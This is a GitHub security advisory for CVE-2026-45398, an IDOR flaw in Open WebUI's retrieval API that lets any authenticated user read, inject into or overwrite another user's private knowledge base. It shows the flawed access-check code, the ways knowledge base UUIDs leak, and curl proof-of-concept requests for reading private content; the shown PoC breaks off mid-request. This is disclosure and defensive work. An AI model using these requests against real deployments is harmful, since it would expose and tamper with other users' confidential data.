GitHub Advisoryadvisory · PyPI
GHSA-4g37-7p2c-38r9 Open WebUI Vulnerable to IDOR: Retrieval API Bypasses Knowledge Base Access Controls
HIGH
Official page ↗
- Aliases
- CVE-2026-45398
- Ecosystem
- PyPI
- Packages
- open-webui
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-639
- Reviewed
- 2026-05-14
Affected packages
• PyPI open-webui: < 0.9.5 → fixed in 0.9.5
Description
IDOR: Retrieval API Bypasses Knowledge Base Access Controls
Author: Andrew Orr
Summary
`_validate_collection_access()` (PR #22109) checks the `user-memory-*` and `file-*` collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (`/process/text`, `/process/file`, `/process/files/batch`, `/process/web`, `/process/youtube`), allowing an attacker to inject content into or overwrite another user's knowledge base.
Reproduced on `main` at commit `4d058a125` (v0.8.11) on March 26, 2026.
Severity
• CWE-639: Authorization Bypass Through User-Controlled Key
• CVSS 3.1: `7.5 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)` -- `AC:H` because exploitation requires knowing a target UUID; `I:H` and `A:H` because the write path allows poisoning or destruction of another user's knowledge base
Default Configuration Reachability
Reachable in default configuration. All affected endpoints require only `get_verified_user`, not `get_admin_user`, so any non-admin account in a typical multi-user deployment can reach them. The only prerequisite beyond authentication is knowledge of a target knowledge base UUID, which is reflected in the `AC:H` score. However, KB UUIDs are stable identifiers that leak through normal usage rather than secrets (see Prerequisites below).
Root Cause
Knowledge base embeddings are stored in vector DB collections named with the knowledge base's UUID (e.g., `550e8400-e29b-41d4-a716-446655440000`). The `_validate_collection_access` function only blocks two specific prefixes:
```python
backend/open_webui/routers/retrieval.py lines 2330-2355
def _validate_collection_access(collection_names: list[str], user) -> None:
if user.role == "admin":
return
for name in collection_names:
if name.startswith("user-memory-") and name != f"user-memory-{user.id}":
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
elif name.startswith("file-"):
file_id = name[len("file-"):]
if not has_access_to_file(
file_id=file_id,
access_type="read",
user=user,
):
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
# No else clause -- knowledge base UUIDs pass through unchecked
```
Knowledge base UUIDs do not match either prefix, so the function returns without raising an exception. The query then executes against the vector DB with no further authorization check.
Vulnerable Endpoints
Read Endpoints
Both retrieval query endpoints accept a collection name and call `_validate_collection_access` as their sole authorization gate:
1. `POST /api/v1/retrieval/query/doc` (line 2367) -- single `collection_name`
2. `POST /api/v1/retrieval/query/collection` (line 2432) -- list of `collection_names`
Write Endpoints
The following endpoints accept a `collection_name` parameter and write to the target collection without checking whether the caller owns it:
3. `POST /api/v1/retrieval/process/text` (line 1777) -- appends attacker-controlled content to the target collection
4. `POST /api/v1/retrieval/process/file` (line 1528) -- validates ownership of the uploaded file but not the destination collection
5. `POST /api/v1/retrieval/process/files/batch` (line 2578) -- same as above for multiple files
6. `POST /api/v1/retrieval/process/web` and `POST /api/v1/retrieval/process/youtube` (lines 1810-1811) -- same handler; `overwrite` defaults to `true`, so targeting an existing knowledge base deletes and replaces it
| Endpoint | Read | Write | Overwrite | Access Check |
|----------|------|-------|-----------|--------------|
| /query/doc | Yes | -- | -- | Prefix-only (bypassed) |
| /query/collection | Yes | -- | -- | Prefix-only (bypassed) |
| /process/text | -- | Yes | -- | None |
| /process/web | -- | Yes | Yes (default) | None |
| /process/youtube | -- | Yes | Yes (default) | None (same handler as /process/web) |
| /process/file | -- | Yes | -- | File only, not collection |
| /process/files/batch | -- | Yes | -- | File only, not collection |
Proof of Concept
Security boundary crossed: The knowledge base access control system (ownership checks, group-based access grants) is bypassed at the retrieval layer. A non-admin user who knows a private knowledge base UUID can read it, append attacker-controlled content to it, or destroy and replace it through the retrieval API, even though the knowledge API correctly denies the same user access to the same resource.
`open-webui-idor-poc.sh` provides a self-contained Docker lab that stands up the target environment and tests every vulnerable endpoint listed above. See the comments at the top of that file for setup, usage, and configuration options.
Prerequisites
• Attacker has an authenticated (non-pending) account on the target instance.
• A victim user has created a private knowledge base containing sensitive documents.
• Attacker knows the victim's knowledge base UUID. V4 UUIDs are not guessable, but they are stable identifiers that leak through normal platform usage:
• Access revocation: A user learns a KB UUID through a shared workspace or group, loses access, and finds the retrieval API still honors the stale UUID. The knowledge API correctly revokes access at request time (`access_grants.py:549-558` dynamically queries current group memberships), but the retrieval API has no equivalent check.
• Model metadata: When a model is shared with a group, `GET /api/models/list` returns the full `meta.knowledge` array -- including KB UUIDs -- to every user with access to the model, even if they have no access to the referenced knowledge bases (`models.py:58-130`).
• URL leakage: KB UUIDs appear in browser URLs (`/workspace/knowledge/{id}`, `Knowledge.svelte:260`) and can leak through shared links, browser history, Referrer headers, or proxy logs.
• RAG citation metadata: KB UUIDs are stored as `source.id` in chat message sources (`middleware.py:1950-1965`, `socket/main.py:880-897`). Shared chats return these sources unfiltered (`chats.py:815-830`).
Read: Extract Private KB Content
Authenticate as the attacker:
```bash
TOKEN=$(curl -s -X POST https://open-webui/api/v1/auths/signin \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]", "password": "password"}' \
| jq -r '.token')
```
Control request: the knowledge API correctly blocks the attacker:
```bash
curl -s https://open-webui/api/v1/knowledge/ \
-H "Authorization: Bearer $TOKEN"
```
```json
{"detail": "You do not have permission to access this resource."}
```
Exploit request: the retrieval API returns the same KB's content without authorization:
```bash
curl -s -X POST https://open-webui/api/v1/retrieval/query/doc \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"collection_name": "",
"query": "confidential",
"k": 50
}'
```
Expected result when vulnerable: the server returns matching document chunks from the victim's private knowledge base, including text content and metadata (source filenames, file IDs, hashes).
The `/query/collection` endpoint accepts a list of collection names and behaves identically:
```bash
curl -s -X POST https://open-webui/api/v1/retrieval/query/collection \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"collection_names": [""],
"query": "…
Related
Alias · CVE (1)
- CVE-2026-45398 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability
Weakness · CWE (1)
- CWE-639 Authorization Bypass Through User-Controlled Key weakness
References
- https://github.com/open-webui/open-webui/security/advisories/GHSA-4g37-7p2c-38r9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-45398 advisory
- https://github.com/open-webui/open-webui/pull/22109 web
- https://github.com/open-webui/open-webui package
- https://github.com/open-webui/open-webui/releases/tag/v0.9.5 web